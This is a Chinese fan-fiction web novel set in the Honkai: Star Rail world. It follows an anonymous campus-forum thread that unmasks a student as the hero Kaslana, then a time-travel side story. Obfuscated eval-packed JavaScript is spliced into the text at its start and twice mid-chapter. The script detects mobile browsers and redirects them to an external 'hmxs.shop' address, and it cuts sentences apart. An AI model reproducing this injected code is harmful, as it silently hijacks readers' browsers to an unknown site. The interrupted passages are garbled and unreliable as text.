l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048715|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 953L 这都是楼主一言之词,也许是在补充穿越设定,随意口嗨的。 954L ——953L:我的错觉吗,怎么一有人怀疑楼主,就立刻有人跳出来带偏话题,企图用小说设定糊弄过去。 955L 楼上多心了吧,不就是正常的想法碰撞吗,每个人有每个人的看法,很正常。 956L 天外朋友不一定是假的,我记得智种学派人太少,学长确实是和两个折纸大学的交换生混住的。 957L 我去,盒! 958L 你们真把楼主的身份扒出来了? 959L 这不是早就扒出来了吗,树庭大学也没有第二个白发蓝眼、智种学派,还在开学时把史院老师带偏的学生了吧。 960L 诶,那位学长的故乡是不是哀丽秘榭来着,他有一次还随口说过现在用的名字不是他最初的名字,他最初的名字是……卡厄斯兰那?! 961L ??? 962L !!! 963L 不会吧…… 964L 给孩子取英雄的名字也是翁星传统,正常,很正常。 965L 正常哥先别正常了,无名英雄信息确认前,卡厄斯这个名字常见,但卡厄斯兰那根本不常见,巧合太多就不是巧合了。 966L 我有一个大胆的想法。 967L 我也有一个大胆的想法。 968L 我猜你们的想法是一样的。 969L 已经有那刻夏大人不改名担任树庭老师了,怎么可能还有第二个不改名在树庭当学生的人呢?哪有那么巧,哈,哈哈。 970L ……楼主确实和卡厄斯兰那大人没有关系,对吧? 037 天空如破碎的镜子,缝隙中流淌出糅杂了黑红方块的金血,怪物自金血诞生,噼噼啪啪地落在空旷宁静的小村庄中,汹涌的怪潮一波接着一波,似乎永远也没有尽头。 忽然,天边升起金色的火焰,转眼间填满了所有缝隙。 那刻夏看着一只怪物在眼前被金焰烧成灰烬,灰烬如千万道流星逆转飞向天穹,汇成一片金色的雨。 “终于,醒来了啊。”学者露出了然的表情。 “是啊,他可真能睡……等等,危险!”赛飞儿一眨眼出现在那刻夏身边,下一瞬间又拽着学者出现在远处,周身流转着金色的电光。 二人原本所在的位置,一道灼热的光柱忽然冲天而起,高温将飞溅的碎石熔化成黏稠的流体。灿烂明光中渐渐出现一个模糊的影子,他舒展开环抱住身躯的双翼,挣脱光柱悬浮在地面之上,睁开金色的眼眸。 “……” “……” 六目相对,空气一时沉寂。 卡厄斯兰那下意识想对故人们露出微笑,但三千万转的回忆令他一时找不到曾经的笑容,嘴角最终僵硬在一个笑与不笑之间的尴尬弧度。 他又努力了一下,发现仍然不伦不类后干脆撤回了一个微笑,表情淡然地向学者与羁客点了点头,又因此刻凌厉的形象而显出几分冷峻。 那刻夏微微挑眉,并未立刻说话。 赛飞儿撇了下嘴角,故意做出看天看地就是不看人的模样,语气跌宕起伏:“哎呀呀,睡懒觉的救世主终于起床,却连叫我一声大姐头都不愿意了呢。” “赛飞儿女士……”卡厄斯兰那表情微微一垮,显出几分鲜活的无奈,“我原本就没这样称呼过你吧。” “谁说的?你小时候可是被我忽悠……咳咳,可是自愿叫了很多次呢,怎么,才过去短短几年就不认了?”赛飞儿说。 卡厄斯兰那想了想自己此世的记忆,虽然乍一看温馨、快乐、无忧无虑,但仔细一想不知为何处处都是黑历史,一时陷入沉思。 这明显是趁着他记忆全失故意诱导吧?对吧?堂堂泰坦却联起手来忽悠一个小孩子,实在是令人又好气又好笑,看来如今的翁法罗斯确实太平无事,泰坦全都闲得没事做了。 心中如此想着,卡厄斯兰那的表情却不禁柔和了一些,略显涣散的金瞳看向赛飞儿,清晰地咬字道:“好,你说得对,赛飞儿大姐头。” “诶?诶诶?”赛飞儿的尾巴毛都炸了起来,目光躲闪,似乎浑身发痒,“算了算了,你还是正常叫我吧,这个称呼我可受不住。” 卡厄斯兰那似有预料般微微扬起嘴角。 旁观了一番诡计泰坦戏弄不成反被戏弄的场面,那刻夏呵了一声,道:“既然醒了就不要再呆站着了,无名英雄衣冠冢的探索任务还没完成,现在,立刻和我们一起离开这处幻境,回去三天内把探索任务报告提交给我。” 卡厄斯兰那呆住了,下意识指了下自己:“啊?” “嗯?有什么问题吗?”那刻夏微微压低语调,“我的好学生,别忘了你还有一年才能从树庭大学毕业,我想你应该没有复刻辩论赛冠军十连胜的打算吧?” 白·大学三年级·辩论赛六连胜·厄不禁露出了不忍回忆的表情。 他向前踏步,脚踏实地的瞬间周身辉光收敛,变回了白发蓝眼的模样。 白厄伸手抓了抓头发,一边苦恼着任务报告,一边盘算着如何应对“久别重逢”的战友们,连眼神都清澈了起来。 “哼,这才像点样子嘛。”那刻夏看着白厄,心想。 038 “对了,搭档、丹恒和三月小姐呢?我出来时怎么没看到他们。” “他们?哦,灰子嚷嚷着什么万能的开拓神力,拉着无名客们打算把无名英雄衣冠冢搬到现实中的哀丽秘榭去呢。” “搬什么?!” “诶,救世小子,你搓封印的审美还是不错的,就是每次搓封印都给自己立个碑的习惯不太好……回头要不要和我搭伙干点来财的买卖,我八你二,一起分账。” “咳!” “唉,好吧好吧,当我没说,堂堂理性泰坦大人难道还担心我坑你的学生不成?” 38. 翁星求生指北(完) 039 “然后呢?”稚嫩的孩童仰起脸询问。 “然后,故事的结局便要由你来书写了呀。” 粉发少女轻轻合拢书本递给孩童,笑眯眯地荡起秋千。 “也许无名英雄会被大家的关心一时淹没,苦恼又幸福地回应着这些美好,并在安宁的罅隙中一点点生长出自我和愿望;也许大家会齐心协力地剥离被封印的灾厄,由小妖精们将灾厄抬走点燃,在宇宙中炸出一个大大的彩色烟花;也许……” 稚嫩的孩童抱着比自己脑袋还大的书本,忍不住皱了皱眉,低声嘀咕道:“昔涟,你是不是又在糊弄小孩子了,这些根本不可能实现。” 粉发少女忽然伸手揪了下孩童头顶挺立的两根呆毛,打断了孩童剩下的话。 “太现实的问题可不是小孩子该考虑的哦,而且,唯独这件事,我绝不会向你说谎。”粉发少女眨了眨眼,笑道,“我是守望岁月(记忆)之人,而岁月(记忆)的力量足以穿透时间。我看到了未来,而终有一日,你也将亲眼见证这个我为你写下的未来,到时候,再由你来做出后续的选择吧。” 孩童似懂非懂,道:“你又在说我还听不懂的话了。” “嗯,这也是没办法的吧?毕竟保持神秘感也是女孩子魅力的一部分呢。”粉发少女将目光落向远方,“要不是某个大英雄一直装睡,人家也不想替他拿起笔写故事呢,毕竟人家是可爱的女孩子,可不想被误会成什么替小孩决定未来的、古板可怕的大家长。” 孩童眨了眨烙刻日轮的蓝眼睛,挑着自己能听懂的那部分,认真回应道:“昔涟不是可怕的大家长,昔涟一直都很可爱。” 粉发少女微微一愣,笑盈盈道:“哎呀,不愧是卡厄斯兰那,总能说出人家意料之外的话呢。不过你在外面可不要一直这样哦,不然不知道会在无意间伤到多少颗被你迷惑的少女心呢。” 孩童困惑地看着粉发少女,发现这句话自己彻底听不懂了。 “嗯,少男心也不是没可能。”粉发少女思索了一会,道,“不对不对,也可能是反过来,为了你的安全考虑,得多加点武力值,课程里的剑术训练还是再加一些吧……” 海滨的风吹过麦田,时光便在宁静中一点点流淌而去,成为记忆中温柔的一抹色彩。 040 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 1011L 我看到楼主回校了。 1012L 有没有勇士打算A上去试试? 1013L 楼上试试。 1014L 我不敢,楼下试试。 1015L 我也不敢。 1016L 大家不要怂啊!只是疑似卡厄斯兰那大人而已,也许只是误会呢? 1017L ——回复1016L:说得好,所以你去吧。 1018L ——回复1017L:哎呀,我要是真信这只是个误会就不会把这话发出来了,可惜大家都不上当啊,嘻嘻。 1019L 乐子人叉出去。 1020L 你们竟然还敢在帖子里公开讨论这件事,不像我,我只敢蹲在楼主首页不断刷新,看看会不会多出来一个认证标识。 1021L 大家这是都默认了楼主是卡厄斯兰那大人了吗? 1022L ——回复1020L:你也没好到哪里去吧? 1023L 只能说巧合多的我们不得不多想。现在来看,楼主恐怕是真的觉得大家不会信才如此随意地发帖求助,谁知道有一天楼主的可信度会飙升呢。 1024L 哈哈,这算不算回旋镖? 1025L 据野史记载,卡厄斯兰那大人总是被自己的回旋镖击中。 1026L 怎么还有发刀子的,和乐子人一起叉出去。 1027L …… 1028L ——回复1027L:? 1029L 朋友们,我给大家讲个恐怖故事,你们不要怕。 1030L 水友们都是专业的,一般不会怕,你讲。 1031L 故事内容是:这个求助帖被悄悄锁定了,除非是在这里发言过,否则已经搜不到帖子,也进不来了。 1032L 啊?怎会如此,我们也没聊敏感内容啊。 1033L 一时不知道楼上是不是装傻,很明显大家聊出真事了啊! 1034L 等一下,我没记错的话这里是匿名论坛吧? 1035L 匿名论坛怎么了? 1036L 你们忘了匿名论坛里那几个怎么弄都封不掉的凯妮斯N世了吗?他们之所以一直活跃,就是因为匿名论坛只要不涉及背叛翁星的绝对大事,即使是妄议泰坦,也不会锁帖啊! 1037L 倒吸一口凉皮。 1038L 倒吸两口凉皮。 1039L 我刚买的凉皮碗空了,大家有什么头绪吗? 1040L 打住,先别说凉皮了,所以这帖到底为什么会被锁? 1041L 没记错的话,匿名论坛除了自动锁帖机制,只有浪漫泰坦大人有手动锁帖的权限…… 1042L 救命,我可以现在把我的发言全删了吗。 1043L 别想了,匿名论坛连楼主都删不了你的发言。 1044L 假如这真是浪漫大人锁的帖,那楼主说不定还真能把删除权限拿到手。 1045L 据野史记载,无名英雄和浪漫泰坦大人关系很好,因为他可以从浪漫泰坦大人手里拿到万帏网的删除权限。 1046L 楼上,我佩服你的勇气,说不定浪漫泰坦大人正盯着这个帖子呢啊啊啊啊! 1047L 真的吗?泰坦大人踩我。 1048L 楼主还是把楼上给禁言了吧,不如我怕他继续发癫下去会被衣匠开盒。 1049L 楼主 好啊。 1050L 确实……等会儿,刚才发言的是什么玩意?楼什么,什么主? 1051L 楼主就这样平平常常地冒了出来,我甚至幻视了楼主一脸无辜的表情。 1052L 楼主 ——回复1050L:哈哈,我应该是个人? 1053L 楼主 ——回复1051L:奇美拉无辜.jpg 1054L 楼主 嗯……我是不是不应该发言,大家都不说话了啊。 1055L 不不不,楼主你随便说,大家只是一时不知道说什么。 1056L 楼主,您真的是卡厄斯兰那吗? 1057L 楼主 ——回复1056L:确实是这个名字,不过我还是更习惯大家叫我白厄(笑)。 1058L 好,正主确认。 1059L 不不不,肯定只是重名了对不对,楼主你快来肯定一下啊。 1060L 哈哈哈哈,恍恍惚惚。 1061L 楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048716|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主 ——回复1059L:抱歉,如果是指逐火年代的那位卡厄斯兰那的话,确实是我。 1062L ——回复1061L:诶?您不用向我们道歉啊。 1063L ——回复1061L:啊啊啊,真的是卡厄斯兰那大人! 1064L ——回复1061L:我出息了,卡厄斯兰那大人回复我了! 1065L 大家不要太激动,太热情会把卡厄斯兰那大人吓跑的……好吧,我也很激动,有人组团去宿舍堵卡厄斯兰那大人吗? 1066L +1。 1067L +2……呸,不许堵!现在除了帖子里的各位,应该还没人知道楼主的身份,你们一堵不是大家都知道了吗?要趁着人少悄悄要签名啊! 1068L 楼上说得对,大家一定要注意保密。 1069L 楼主 ……大家,还真是令人意外的宽容啊。 1070L 我怎么觉得这个用词怪怪的?额,不是说卡厄斯兰那大人不好的意思。 1071L 等会儿,这个措辞,我好像听到了不祥的前奏。 1072L 楼主 不,没什么,只是没想到大家对盗火行者的行为竟然接受良好。 1073L 果然,我就知道。 1074L 难怪那刻夏老师有时候会念叨白厄学长不在乎自己,我当时还想学长温柔开朗怎么看都不是有问题的样子,原来症结在这里。 1075L 卡厄斯兰那大人,不,白厄学长,你很在意这个吗? 1076L 为救世而杀戮,为新生而毁灭……我不知道别人怎么想,但作为翁法罗斯存续至今的既得利者,我很敬佩您,卡厄斯兰那大人,您是我向往的英雄。 1077L 没错,历史都是留给后人评说的,但我们就是“后人”啊。即便是无名英雄与盗火行者合二为一之前,大家对盗火行者夺火杀人、打断再创世的评价也并非全然贬低,更何况真相解明的如今。 1078L 我们不认识你,但我们听说过你,想必等到三千万转历史回归,您的名字也会永远地铭刻进翁法罗斯的过往。 1079L 欢迎回家,卡厄斯兰那。 1080L 欢迎回家,白厄。 …… 白发青年怔怔地看着论坛界面,许久,才无奈地笑了笑。 “真是……” 忽然,一个灰毛脑袋从后面冒出来,熟稔地挎住他的脖颈,笑嘻嘻道:“好啦好啦,回头再感动吧。小白,你是不是忘了之前答应我什么事了?” 白厄噎了一下,情绪一时有些不连贯。 他困惑地看着穹,努力回忆,道:“之前答应搭档的事?帮你做那刻夏老师的选修课结业论文,抢知更鸟小姐演唱会的门票,还是……?” “咳、咳咳,原来拜托了你这么多事情吗?”穹不好意思地挠了挠脸,但很快又调整好表情,笑眯眯地摸出了手机,选中一段录音,点击播放。 一个熟悉的声音响起:“我很期待未来走向寰宇的那一天。嗯……要是能登上星穹列车就更好了,连接星球,开拓世界,成为一名无名客,听起来就是一场令人期待的冒险。” 白厄微微睁大了眼睛。 穹邪恶地大笑起来,摩拳擦掌,准备绑人。 “桀桀桀,这可是你亲口说的话,事到如今不会不认账吧?” “等等,搭档……” “没用的,就算叫破喉咙也不会有人来救你的,今天你这个无名客当也得当,不当也得当!走,小白,和我上列车!” 39. 翁星求生指北(番外) 001 夕阳西下,忙碌一天的树庭学子从繁重课业中暂时解脱,获得了一段自由的闲暇时光。 白厄微笑着和相熟的朋友们道别,反手推开百界门,走进“心中的哀丽秘榭”,打算进行一些有益身心也有益寰宇的解压小活动。 在唤醒卡厄斯兰那全部的记忆后,黄金裔和无名客和天才们联合掏出了一份科学合理、行之有效的“毁灭消解计划”,并盯着白厄,令其严格执行。 白厄的些微异议被黄金裔和无名客联手镇压,最终他只好挂着一身的天才奇妙小工具,定期定点地踏入封印,清剿其中灾祸化身的怪物。 虽然白厄本人很想在封印里一口气将灾祸彻底清除干净,但每次战斗稍微超时就会有人一头扎进封印把他拎出去,随之而来的就是领导慰问(阿格莱雅)+老师谈话(那刻夏)+同伴陪伴(风堇)三连。 反复几次后,白厄权衡一番,选择乖乖遵守计划时间表,不再从明面上搞小动作。 消灭“被容纳的毁灭”的秘诀在于快速与精准,只需将金血中爬出的怪物快速摁住,然后精准的切成十八段,再放入主材料为卡厄斯兰那躯壳的封印中慢慢发酵,定期用陨石捶打揉搓,便能使最终成品鲜美多汁、肉质劲道……不好意思串线了,就能让灾厄被逐渐消磨干净。 白厄将最后一只怪物丢进灼热的金焰,结束了今天的“课后活动”。 散发微光的金发金瞳慢慢敛去,变回白发蓝瞳的模样,他随意一振侵晨大剑,将金血甩落,张开百界门,一步踏入。 就在此时,百界门忽然扩大,嗷呜一口把他吞了进去。 白厄:“?” 忆质拟造的能力也会造反吗?难道是昔涟在恶作剧? 天旋地转中,白厄错觉般看见了永夜下的翁法罗斯、背负黎明的刻法勒、风驰电掣的列车车厢和蓄势待发的天谴之矛。 白厄:“……” 身体快于想法行动,他张开手掌,给列车车厢套了层金色半透明的护罩。 下一秒,他就被顶着护盾、天谴之矛砸下来的列车车厢创了个正着,一头栽进了雅努萨波利斯的废墟中。 意识朦胧中,他听见了一个语气似曾相识,但声音很陌生的女孩子在说话。 “不好了丹恒老师,我们刚来翁法罗斯就砸晕本地人了!要不我们跑路吧?” 002 他再次恢复意识时,发现自己正被丹恒背在背上。 蓝白衣装的救世主挡在缇宝身前,手持球棒大抵是刚打断了击云长枪。灰发的女孩子掏出炎枪挡在丹恒面前,做出了战斗的架势。 大抵是多了一位和神谕中的救世主一模一样的“外人”的缘故,双方之间的信任度岌岌可危,气氛剑拔弩张,似乎随时会打起来。 他咳出一口金血,惊奇地发现自己被列车创出了内伤,而后颤巍巍地伸出一只手,道:“等一下,不要打,我有话说。” 003 星觉得翁法罗斯的开拓之旅很离奇。 车厢半路遇刺,乘客却毫发无损,她和丹恒在车门口轮流敲了半天才打碎那个不知为何十分坚固的金色护罩,没等松一口气就从列车下刨出一位衬衫领带黑长裤、打扮如同大学生的白发青年。 确认白发青年是被车厢创晕的那一秒,星已经在思考翁法罗斯的监狱舒不舒服了。 丹恒拒绝了星当场跑路的提议,简单检查后判断金色护罩出于此人之手,考虑到没有金色护罩无名客此时未必安然无恙,他把青年小心地背了起来,打算尽快找一名当地医生,确认白发青年的情况。 然后两人就在追着粉色小精灵前进的途中,被白发青年的哥哥(?)逮住了。 星小声说:“我还以为本地人和我们穿衣风格相差不大,结果他们的穿着打扮相当古典,原来被砸晕的那位才是特例?” 丹恒低声说:“差别太大了,有点不对劲,保持警惕。” 星小声说:“也许是他们正好在排练话剧……额,对面的人是不是笑了一下。” 丹恒叹气道:“很明显,对方听得清我们说话,你不用继续压着嗓子了。” 就在此时,一只手从丹恒身后伸了出来,白发青年睁开眼睛,一边吐血一边坚强地表示他有话要说。 004 几人合力清除掉周围的纷争眷属后,挑了一处距离较远但仍可以看顾难民的地方生起篝火,围坐成一圈。 白发青年终于不吐血了,四顾一圈,便言辞简练地开始说明情况。 丹恒摸出手机,习惯性地记下关键字词,以方便回到列车后整理智库档案。谁知白发青年口中的内容惊天动地,起步令使直通星神,形势变化之快,令人不禁有些怀疑人生。 星脱口而出:“我们不是来给列车加燃料的吗,怎么就要打绝灭大君,还有可能见证记忆星神浮黎诞生了?” 粉色小精灵一脸凝重地跟着点头,道:“迷,迷!” 星:“……你又是从哪冒出来的啊?” 005 昔涟觉得自己似乎在做梦。 她记忆中的最后一幕是燃烧的哀丽秘榭。 黑袍的独行者将利刃抽出,居高临下地看着她倒在金色的湖泊中,一动不动,却似乎在哭。在他身后,哀丽秘榭熊熊燃烧,黑红色的方块扭曲飞舞,空气中满溢着悲伤的味道。 昔涟闭上眼睛,只觉身体轻飘飘、空荡荡,她看见永夜下的翁法罗斯,看见通向奥赫玛的路上蚂蚁般的行人,看见世界深处冷冰冰的矩阵……和一片留存着不祥气息的空荡牢笼。 牢笼中若有若无地飘荡着一抹粉色。 无数个、无数个昔涟见证过这一幕,她们将悲伤藏在心中,怜爱而温柔地走入世界深处,对着空荡荡的牢笼讲故事。 现在……轮到我了吗?昔涟心想。 就在这时,她听见了细微的、清脆的、激荡人心的咔嚓声。 犹如掀开了一层幕布,牢笼中的粉色悄然消失,世界的轨迹就此拐到了另一个路口,并以全新的方式开始闭合。 昔涟忽然感到了一丝指引,嗅到了一抹与牢笼中相似而不同的锋利气息。 轻飘飘的、什么都做不了的状态似乎正在远去,昔涟只觉不存在的心脏怦怦直跳,她奋力一跃,毫不犹豫地抓住了那道锋利的气息,犹如从深海跃出水面,再一次凝结出实体。 “迷……迷?” 昔涟歪歪耳朵,看向手掌,却只看到一对毛茸茸的可爱小爪子。 006 救世主觉得今天有些魔幻。 本来,今天只有一个重要但寻常的护送难民的任务,他和缇宝老师也顺利找到了重渊的幸存者,并打算等大地兽车队抵达便返回奥赫玛。 然后天上就开始接二连三地掉下来怪东西。 先是掉下来一节车厢,在他思考这是不是晨昏之眼下来的奇怪机械时,从里面爬出来两个自称来自天外的无名客。 然后是他自己——准确来说,和他长得一模一样的人。此人来历比天外之人更加劲爆,竟然自称是未来之人,还非常爽快地把翁法罗斯之后成为神战焦点、差点打崩整个寰宇的未来剧透了个干净。 最后是一只粉色哺乳动物,他是这样认为的,也是这样称呼的。所以粉色小妖精噼啪打字表示她是他的童年玩伴昔涟后,此刻,正用毛茸茸的小爪子敲他脑壳。 “迷迷迷(你才是粉色哺乳动物)!”昔涟如是说。 救世主沉默不语,救世主开始头疼。 他无声叹气,而后强打起精神,露出一个得体的微笑。 “诸位,此事体大,不如回到奥赫玛后再慎重商议?” “你说得对。”那个和他一模一样的未来之人点点头,随手撕开一扇超大号百界门,门户之后赫然是奥赫玛的场景,“事态紧急,走这里更快一些。” 看着门对面一片惊慌场景的救世主:“……” 糟糕,他好像更头疼了。 007 清晨的那刻夏在补觉。 上午的那刻夏在上课。 中午的那刻夏在做实验。 下午的那刻夏正板着脸站在阿格莱雅旁边。 “劳驾,谁能为我解释一下如今的情况,到底是如何十万火急的原因,值得开百界门把我这个文弱学者忽然扯到奥赫玛?”那刻夏抱起手臂,锐利的目光挨个盯过在场之人。 “其实,大家都是走百界门过来的……”遐蝶谨慎地退开两步,和众人保持距离。 此时此刻,云石天宫中差不多聚齐了所有有望继承火种的黄金裔。 未来之人和阿格莱雅稍微聊过后便提出将大家聚在一起,一次性讲明前因后果。得到允许后,他闭目回忆一番,便开出一串百界门,精准地将大家一一抓了过来,连行踪不定的赛飞儿也没逃掉。 其中受惊吓最大的是遐蝶,少女看见有人拉住她手臂的第一反应是立刻退开,可惜力气没拼过对面,最终还是被硬拽了过来。 “不过……阁下,你竟然无惧死亡的侵蚀。”遐蝶轻声说。 “这个解释起来有点复杂,之后大家就明白了。”白发青年迎着遐蝶隐含期盼的目光,伸手挠了挠头,笑道,“简单来说,我来自翁法罗斯再创世后三千年,当然,因为当时内外时间流速尚未稳定的原因,寰宇并没有过去这么久……” 008 “……昔涟登上神位,封存了寰宇毁灭前的瞬间,直到翁法罗斯背负了‘寰宇一瞬间的毁灭’,世界才重新开始流转……事情大概就是这样的。” 量大管饱的情报震得众人不知该说些什么,众人你看看我,我看看你,一片沉默。 最终,星勇敢地举起了手。 “也就是说,我们要等黑塔女士联系我,把天才俱乐部#1赞达尔打趴下,修改再创世进程,完成再创世,最后打倒铁墓,就万事大吉了,对吧?” “不愧是搭档,概括得非常精准。”白发青年表示肯定。 “可是,绝灭大君铁墓……一个可以借助智识命途能量改写寰宇常数的怪物,要如何对付?倘若复刻他们世界的发展轨迹,未免太凶险了一些,稍有不慎,世界就会在浮黎的掌中永远冰封。” “这个简单,我来对付铁墓就行了。”白发青年撕开心口,展示着糅杂了金血和黑红方块的内里,爽朗道,“我刚发现封印和我一起过来了,把铁墓丢进去和灾祸狗咬狗,对我来说也是帮大忙了。” 风堇表情一僵,差点维持不住医者的温柔笑容:“白厄阁下,你这是在干什么,快松手,松手,不要再扩大伤口了……” 黄金裔一片鸡飞狗跳。 两位无名客不知不觉被挤到边缘,星一脸空白地看向丹恒,疑问道:“翁法罗斯的人,都这么,额,心胸开阔吗?” 丹恒严谨地道:“从他们的反应来看,翁法罗斯人对伤势的认知,应该和我们并无差别。这只是白厄的个人行为。” 一只粉蓝色的水母从二人腰间的相机中飘了出来,跟着用力点头。 “……” “等等,是不是又多了什么莫名其妙的东西?” “本姑娘才不是莫名其妙的东西!” 009 总而言之,列车组三小只阴差阳错地汇合了。 白发青年盯着粉蓝水母看了一会,恍然道:“三月小姐确实早就抵达了翁法罗斯,这里是她的‘意识’,而她的‘身体’正藏匿在权杖深处。” 粉蓝水母撑起几根触手把星的脸庞推远,得意叉腰,道:“你看,本姑娘都说了我是三月七……等等,星,再蹭我要喘不过气了!” 星叹了口气,老老实实地将三月水母抱在怀中,嘀咕道:“忆灵应该不需要喘气。” 白发青年表示长夜月和无名客交锋时他因为一些原因没有参与,所有事情都是后来从昔涟口中得知的,对当时的情况并不是很清楚,唯一能确定的是长夜月对三月七绝无恶意。 “所以交给本姑娘就好啦,星穹列车翁法罗斯小队,出发!”三月水母说。 缇宝、缇安、缇宁商量一番,决定分出一人跟着无名客去找回三月七的“身体”。 恰在此时,云石天宫强烈地震颤了一下,阿格莱雅霍然抬头,无神的双目穿透建筑阻隔,看向远方,说道:“诸位,尼卡多利和疯王眷属正在冲击奥赫玛,你们的行动恐怕要延后了。” “不必,交给我来……”白厄话音未落,看到另一个自己熟练地召出一把日轮护手、寒光凛冽的大剑,对方轻松地将大剑立于地面,说,“交给我吧。” 白发青年对着众人笑了笑,一身白衬衫加黑长裤的休闲打扮,语气轻松的像是要去买份蜜饼:“尼卡多利独战黑潮千年,是时候该休息了。” 可你的样子不像是要送泰坦休息,而是打算送其安息……其他人欲言又止,没有将这句话说出口。 010 盗火行者正蹲在神梧树庭附近摸鱼。 说摸鱼也不恰当,准确来说,他只是把自己放在了一处偏僻之地,然后看着天空发呆,等待黑潮抵达神梧树庭的那一刻。 四亿多枚火种正在躯壳内燃烧,汹涌灼痛令人难以忍受,但盗火行者已然习惯,甚至能在这种状态下放空大脑,漫无边际地思考着翁法罗斯、权杖和再创世的问题。 “6……28……496……”他心想,“33550336……” 忽然,远处传来了细微的窸窣声。 盗火行者略显警觉地偏了偏头,却没有太过在意。 此地偏僻且临近黑潮边界,向来罕有人至,但在三千万次轮回中,又偶尔会有人抵达。他倾听片刻,确认来者不过两三个后,便悄然退入阴影,打算等人离开再继续发呆。 远处有交谈声传来。 “奇怪,坐标是在这附近啊,怎么没看到人?” “会不会故意躲起来了,我们再找找吧。” “干脆直接喊名字好了,白厄说‘他’一定能听见。” 白厄?为什么会提到白厄,而且这几人的声音似乎过于陌生了……盗火行者听见关键词,下意识做出一个前倾的动作——即使如今的他已经不靠耳朵来倾听世界,身为正常人时的习惯仍然残留在他身上。 然后,其中一个人便扯着嗓子大声喊了起来。 “白厄!卡厄斯兰那!你在吗,我们来接你回家啦……” 盗火行者“嘎嘣”捏爆了手边扶着的树干,但他来不及为瑟希斯的身体损伤而哀悼,整个人都被这句话冲击的眩晕起来。 滞涩运作的大脑久违地飞转起来,盗火行者反思良久也没察觉这次轮回自己何时露出了破绽,以至于连身份都被陌生人挖了个底掉。 难道是来古士又在折腾什么新花样?他迟疑地想着。 忽然,两条粉蓝色的触手摸了过来,一只水母探出脑袋,开心道:“啊,本姑娘找到你了。星,丹恒,你们快来看这个人是不是卡厄斯兰那,和白厄给我们的画像一模一样诶。” 一灰一黑一红三个脑袋随之冒出来,灰色那个大大方方地打量一番,点头道:“没错,就是他了。其实也不是很热,白厄临行前竟然还嘱咐我们离远点以免被烫伤……” 被无名客和缇宝强势围观的盗火行者:“……” 翁法罗斯到底又发生了什么事,有没有人能给他解释一下? 011 阿格莱雅轻拨金线,在心中划去一个个待办事项。 疯王尼卡多利,由万敌、白厄和解决,未来之人随行托底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048717|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 长夜月,由无名客一行人去消弭隐患,他们还顺路捡了盗火行者——那位跨越千万次轮回的卡厄斯兰那。倘若长夜月拒绝开启通往翁法罗斯深处的门扉,无名客一行人恐怕会和卡厄斯兰那联手暴力开路。 黑潮,未来之人用相当随意的语气表示他可以暂时压制此世黑潮,似乎全然没有注意到黄金裔们因此陡然变化的神色。 元老院,暂且不足为虑。 还有,来古士,天才俱乐部#1赞达尔,制造了智识星神博识尊的天才,几乎可以拟称此世造物主之人…… 阿格莱雅闭起无光的眼眸,将一桩桩已解决、未解决的事项在心中梳理,许久,才轻轻呼出一口气。 忽然,阴影之中亮起森森寒光,一柄匕首自阿格莱雅背后袭来,下一秒又被猫咪形状的奇特硬币弹开。 赛飞儿随手将戴着面罩的清洗者敲晕,抱起手臂,似乎不满地道:“裁缝女,你的警惕心什么时候变得这么差了,被人摸到背后都没反应?” 阿格莱雅并不意外地微微一笑,道:“此身灵魂稀薄,但还不至于迟钝至此。我不做闪躲,当然是因为你也在这里,赛法利娅。” 赛飞儿微微一愣,偏开脑袋,不敢和阿格莱雅涣散的眼眸对视。 阿格莱雅不急不缓地走到清洗者身边,垂眸查看一番,道:“我知凯妮斯心有不轨,但她本该等我更加虚弱时动手,这场刺杀太过仓促,原本就奈何不得我,背后恐怕还有更深层次的原因。” “也许是那个什么来古士在捣乱?” “我不会小觑那位天才,使用这般手段,连给我们添麻烦也算不上,不像他的手笔。”阿格莱雅若有所思,“诱导凯妮斯忽然动手,使黄金裔和元老院对立,也许是在扰乱时局,牵扯我们的精力,以此掩饰他真正在做的事……” “无名客与未来之人已然彻底搅乱了翁法罗斯,那位幕后观众,又打算做些什么呢?” 012 “他什么都做不了,我说的。”黑塔女士如此宣言,“既然早有预料,我当然不会贸然闯进这位前辈的大本营,我和螺丝已经暂时困住了那位前辈。不必担心算力问题,黑塔空间站此刻正在翁法罗斯之外停驻。” 红眸似血、幽暗神秘的少女动作优雅地撑着伞,身边环绕着数只颜色诡谲的水母,看起来格外危险。 可惜,她一开口便令危险气质崩碎一地,眼里的崇拜几乎在闪闪发光:“真的吗?黑塔女士真是太厉害了。” “等等。”丹恒道,“黑塔女士在和我们联络之前,就知道了翁法罗斯的情况?” “当然,至于原因,就要问问某个暴力撕开空间站防火墙联系上我的家伙了。”黑塔的虚影瞥了眼某个悄悄后退、试图削减存在感的白毛,不客气道,“艾丝妲直到现在都在安排人员为空间站做检修,不过看在你样本特殊,帮我和螺丝压制住赞达尔,还为我带来新的灵感的份上,就不问你要损失赔偿了。” 星摸了摸下巴,问道:“白厄……有数据入侵的能力?” 问得好,普遍理论来讲,翁法罗斯救世主似乎没有这个功能,所以…… 